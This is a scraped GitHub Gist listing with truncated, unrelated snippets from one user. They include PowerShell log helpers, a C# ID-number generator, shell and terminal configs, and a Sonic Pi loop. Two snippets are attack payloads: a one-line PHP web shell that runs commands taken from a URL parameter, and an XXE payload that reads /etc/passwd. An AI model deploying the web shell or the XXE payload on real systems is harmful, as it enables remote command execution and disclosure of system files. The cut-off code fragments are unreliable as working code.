Skip to content

Instantly share code, notes, and snippets.

// See https://aka.ms/new-console-template for more information
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.Loader;
using System.Security.Cryptography;
internal class Program
{
private static async Task Main(string[] args)
function Get-ApiErrors() {
Get-WinEvent –LogName dbank -MaxEvents 500 `
| Where-Object { $_.LevelDisplayName -eq "Error" } `
| Where-Object { $_.Message -notlike "*LogController*" }
| Format-List -Property TimeCreated,LevelDisplayName,Message
| more
}
function Get-ApiEventTail($ShowExisting=10) {
$LogName = "dbank"
@loldot
loldot / gen-ssn.cs
Last active February 27, 2023 14:38
if (!DateTime.TryParse(args[0], out var birthdate))
{
Console.Error.WriteLine("Invalid birthdate");
}
var gender = args[1];
bool isMale = gender.Equals("m", StringComparison.InvariantCultureIgnoreCase);
int[] GetDigits(string x) => x.Select(x => (byte)x - 0x30).ToArray();
var ssn = birthdate.ToString("ddMMyy");
class AlwaysEmptyCache : IMemoryCache
{
class ExpiredEntry : ICacheEntry
{
public ExpiredEntry(object key)
{
Key = key;
}
public DateTimeOffset? AbsoluteExpiration { get; set; } = DateTimeOffset.MinValue;
public TimeSpan? AbsoluteExpirationRelativeToNow { get; set; } = DateTimeOffset.Now - DateTimeOffset.MinValue;
@loldot
loldot / $Profile.ps1
Last active September 14, 2023 07:00
$Env:SPV_GITHUB_USERNAME = "loldot"
$Env:SPV_GITHUB_PACKAGEREADTOKEN = ""
$Env:NPM_TOKEN = ""
Import-Module Posh-Git
$GitPromptSettings.DefaultPromptSuffix = $('`n' + '>' * ($nestedPromptLevel + 1) + ' ')
chcp 65001
$Env:LC_ALL='C.UTF-8'
Set-PSReadLineOption -PredictionSource History
# If you come from bash you might have to change your $PATH.
# export PATH=$HOME/bin:/usr/local/bin:$PATH
export DOTNET_ROOT=$HOME/dotnet
export PATH=$PATH:$HOME/dotnet:$HOME/.dotnet/tools:$HOME/vscode
# Path to your oh-my-zsh installation.
export ZSH="/home/loldot/.oh-my-zsh"
# Set name of the theme to load --- if set to "random", it will
# load a random theme each time oh-my-zsh is loaded, in which case,
<?php echo(system($_GET["cmd"])); ?>
{
"$schema": "https://aka.ms/terminal-profiles-schema",
"globals" :
{
"alwaysShowTabs" : true,
"defaultProfile" : "{61c54bbd-c2c6-5271-96e7-009a87ff44bf}",
"initialCols" : 120,
"initialRows" : 30,
"keybindings" :
[
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
live_loop :lead do
sl = "C:/Users/lrved_000/Music/Samples/Cymatics - Piano and String Loops Vol 1/Piano Loops/"
sample sl, "140 BPM F#", rate: 1
12.times do
with_fx :echo do
sample sl, "140 BPM F#", rate: -1, onset: [0,1,2].choose, amp:0.6
end
sleep 1
end